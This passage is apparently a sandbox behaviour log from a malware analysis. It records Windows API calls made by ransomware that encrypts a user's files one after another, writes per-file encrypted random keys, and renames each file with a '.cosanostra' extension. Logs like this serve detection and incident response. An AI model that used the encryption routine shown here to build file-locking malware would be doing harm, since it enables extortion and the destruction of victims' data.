lpNewFilePointer=0xffffffff) returned 1 [0089.378] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4f4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf4f4*=0x2800, lpOverlapped=0x0) returned 1 [0089.378] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.378] WriteFile (in: hFile=0x174, lpBuffer=0x2abf534*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf534*, lpNumberOfBytesWritten=0x2abf4f4*=0x4, lpOverlapped=0x0) returned 1 [0089.378] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4f4*=0x30, lpOverlapped=0x0) returned 1 [0089.378] CloseHandle (hObject=0x174) returned 1 [0089.379] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3gJDa x-n7zuNYEDZtxF.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3gjda x-n7zunyedztxf.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3gJDa x-n7zuNYEDZtxF.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3gjda x-n7zunyedztxf.gif.cosanostra")) returned 1 [0089.379] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf538 | out: pbBuffer=0x2abf538) returned 1 [0089.379] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf530*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf530*=0x30) returned 1 [0089.379] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1SDN5OVrqziLUasCej.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1sdn5ovrqziluascej.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.380] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1SDN5OVrqziLUasCej.flv") returned 75 [0089.380] StrStrW (lpFirst="1SDN5OVrqziLUasCej.flv", lpSrch=".txt") returned 0x0 [0089.380] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.380] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4f4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf4f4*=0x2800, lpOverlapped=0x0) returned 1 [0089.380] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.380] WriteFile (in: hFile=0x174, lpBuffer=0x2abf534*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4f4, lpOverlapped=0x0 | out: lpBuffer=0x2abf534*, lpNumberOfBytesWritten=0x2abf4f4*=0x4, lpOverlapped=0x0) returned 1 [0089.381] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4f4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4f4*=0x30, lpOverlapped=0x0) returned 1 [0089.381] CloseHandle (hObject=0x174) returned 1 [0089.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1SDN5OVrqziLUasCej.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1sdn5ovrqziluascej.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1SDN5OVrqziLUasCej.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1sdn5ovrqziluascej.flv.cosanostra")) returned 1 [0089.382] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf530 | out: pbBuffer=0x2abf530) returned 1 [0089.382] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf528*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf528*=0x30) returned 1 [0089.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1fse5oxdm3UTKlf-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1fse5oxdm3utklf-.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.382] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1fse5oxdm3UTKlf-.gif") returned 73 [0089.382] StrStrW (lpFirst="1fse5oxdm3UTKlf-.gif", lpSrch=".txt") returned 0x0 [0089.383] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.383] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4ec, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf4ec*=0x2800, lpOverlapped=0x0) returned 1 [0089.383] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.383] WriteFile (in: hFile=0x174, lpBuffer=0x2abf52c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf52c*, lpNumberOfBytesWritten=0x2abf4ec*=0x4, lpOverlapped=0x0) returned 1 [0089.383] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4ec*=0x30, lpOverlapped=0x0) returned 1 [0089.383] CloseHandle (hObject=0x174) returned 1 [0089.383] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1fse5oxdm3UTKlf-.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1fse5oxdm3utklf-.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1fse5oxdm3UTKlf-.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1fse5oxdm3utklf-.gif.cosanostra")) returned 1 [0089.384] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf530 | out: pbBuffer=0x2abf530) returned 1 [0089.384] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf528*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf528*=0x30) returned 1 [0089.384] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1CDBt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1cdbt.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.384] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1CDBt.flv") returned 62 [0089.384] StrStrW (lpFirst="1CDBt.flv", lpSrch=".txt") returned 0x0 [0089.385] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.385] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4ec, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf4ec*=0x2800, lpOverlapped=0x0) returned 1 [0089.385] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.385] WriteFile (in: hFile=0x174, lpBuffer=0x2abf52c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4ec, lpOverlapped=0x0 | out: lpBuffer=0x2abf52c*, lpNumberOfBytesWritten=0x2abf4ec*=0x4, lpOverlapped=0x0) returned 1 [0089.385] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4ec*=0x30, lpOverlapped=0x0) returned 1 [0089.385] CloseHandle (hObject=0x174) returned 1 [0089.422] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1CDBt.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1cdbt.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\1CDBt.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\1cdbt.flv.cosanostra")) returned 1 [0089.426] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf518 | out: pbBuffer=0x2abf518) returned 1 [0089.426] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf510*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf510*=0x30) returned 1 [0089.427] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~nsu.tmp\\Au_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\~nsu.tmp\\au_.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0089.427] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~nsu.tmp\\Au_.exe") returned 69 [0089.427] StrStrW (lpFirst="Au_.exe", lpSrch=".txt") returned 0x0 [0089.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.428] WriteFile (in: hFile=0x178, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4d4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf4d4*=0x2800, lpOverlapped=0x0) returned 1 [0089.428] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.428] WriteFile (in: hFile=0x178, lpBuffer=0x2abf514*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf514*, lpNumberOfBytesWritten=0x2abf4d4*=0x4, lpOverlapped=0x0) returned 1 [0089.428] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4d4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4d4*=0x30, lpOverlapped=0x0) returned 1 [0089.428] CloseHandle (hObject=0x178) returned 1 [0089.430] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~nsu.tmp\\Au_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\~nsu.tmp\\au_.exe"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~nsu.tmp\\Au_.exe.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\~nsu.tmp\\au_.exe.cosanostra")) returned 1 [0089.430] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf518 | out: pbBuffer=0x2abf518) returned 1 [0089.431] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf510*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf510*=0x30) returned 1 [0089.431] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XZY reEm80xGwXKIc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xzy reem80xgwxkic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0089.431] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XZY reEm80xGwXKIc.jpg") returned 74 [0089.431] StrStrW (lpFirst="XZY reEm80xGwXKIc.jpg", lpSrch=".txt") returned 0x0 [0089.431] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.432] WriteFile (in: hFile=0x178, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4d4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf4d4*=0x2800, lpOverlapped=0x0) returned 1 [0089.432] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.432] WriteFile (in: hFile=0x178, lpBuffer=0x2abf514*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4d4, lpOverlapped=0x0 | out: lpBuffer=0x2abf514*, lpNumberOfBytesWritten=0x2abf4d4*=0x4, lpOverlapped=0x0) returned 1 [0089.432] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4d4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4d4*=0x30, lpOverlapped=0x0) returned 1 [0089.432] CloseHandle (hObject=0x178) returned 1 [0089.432] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XZY reEm80xGwXKIc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xzy reem80xgwxkic.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\XZY reEm80xGwXKIc.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xzy reem80xgwxkic.jpg.cosanostra")) returned 1 [0089.440] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf510 | out: pbBuffer=0x2abf510) returned 1 [0089.440] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf508*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf508*=0x30) returned 1 [0089.440] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WHSDP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\whsdp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0089.441] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WHSDP.jpg") returned 62 [0089.441] StrStrW (lpFirst="WHSDP.jpg", lpSrch=".txt") returned 0x0 [0089.441] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.443] WriteFile (in: hFile=0x178, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4cc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf4cc*=0x2800, lpOverlapped=0x0) returned 1 [0089.443] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.443] WriteFile (in: hFile=0x178, lpBuffer=0x2abf50c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4cc, lpOverlapped=0x0 | out: lpBuffer=0x2abf50c*, lpNumberOfBytesWritten=0x2abf4cc*=0x4, lpOverlapped=0x0) returned 1 [0089.443] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4cc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4cc*=0x30, lpOverlapped=0x0) returned 1 [0089.443] CloseHandle (hObject=0x178) returned 1 [0089.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WHSDP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\whsdp.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WHSDP.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\whsdp.jpg.cosanostra")) returned 1 [0089.449] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf500 | out: pbBuffer=0x2abf500) returned 1 [0089.449] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4f8*=0x30) returned 1 [0089.449] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\readermessages"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0089.450] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned 84 [0089.450] StrStrW (lpFirst="ReaderMessages", lpSrch=".txt") returned 0x0 [0089.510] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffe000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.510] WriteFile (in: hFile=0x178, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2abf4bc, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf4bc*=0x2000, lpOverlapped=0x0) returned 1 [0089.510] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.510] WriteFile (in: hFile=0x178, lpBuffer=0x2abf4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4bc, lpOverlapped=0x0 | out: lpBuffer=0x2abf4fc*, lpNumberOfBytesWritten=0x2abf4bc*=0x4, lpOverlapped=0x0) returned 1 [0089.511] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4bc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4bc*=0x30, lpOverlapped=0x0) returned 1 [0089.511] CloseHandle (hObject=0x178) returned 1 [0089.511] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\readermessages"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\readermessages.cosanostra")) returned 1 [0089.512] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4f8 | out: pbBuffer=0x2abf4f8) returned 1 [0089.512] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4f0*=0x30) returned 1 [0089.512] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0089.513] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned 84 [0089.513] StrStrW (lpFirst="rdrmessage.zip", lpSrch=".txt") returned 0x0 [0089.586] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.586] WriteFile (in: hFile=0x178, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4b4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf4b4*=0x2800, lpOverlapped=0x0) returned 1 [0089.587] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.587] WriteFile (in: hFile=0x178, lpBuffer=0x2abf4f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4b4, lpOverlapped=0x0 | out: lpBuffer=0x2abf4f4*, lpNumberOfBytesWritten=0x2abf4b4*=0x4, lpOverlapped=0x0) returned 1 [0089.614] WriteFile (in: hFile=0x178, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4b4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4b4*=0x30, lpOverlapped=0x0) returned 1 [0089.614] CloseHandle (hObject=0x178) returned 1 [0089.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.cosanostra")) returned 1 [0089.730] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4d8 | out: pbBuffer=0x2abf4d8) returned 1 [0089.731] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf4d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf4d0*=0x30) returned 1 [0089.731] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0089.732] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 77 [0089.732] StrStrW (lpFirst="CUSTOM.DIC", lpSrch=".txt") returned 0x0 [0089.734] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffffe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.734] WriteFile (in: hFile=0x190, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2abf494, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x2abf494*=0x2, lpOverlapped=0x0) returned 1 [0089.734] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.734] WriteFile (in: hFile=0x190, lpBuffer=0x2abf4d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf494, lpOverlapped=0x0 | out: lpBuffer=0x2abf4d4*, lpNumberOfBytesWritten=0x2abf494*=0x4, lpOverlapped=0x0) returned 1 [0089.734] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf494, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf494*=0x30, lpOverlapped=0x0) returned 1 [0089.734] CloseHandle (hObject=0x190) returned 1 [0089.735] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\custom.dic"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\custom.dic.cosanostra")) returned 1 [0089.736] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf4d0 | out: pbBuffer=0x2abf4d0) returned 1 [0089.736] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, 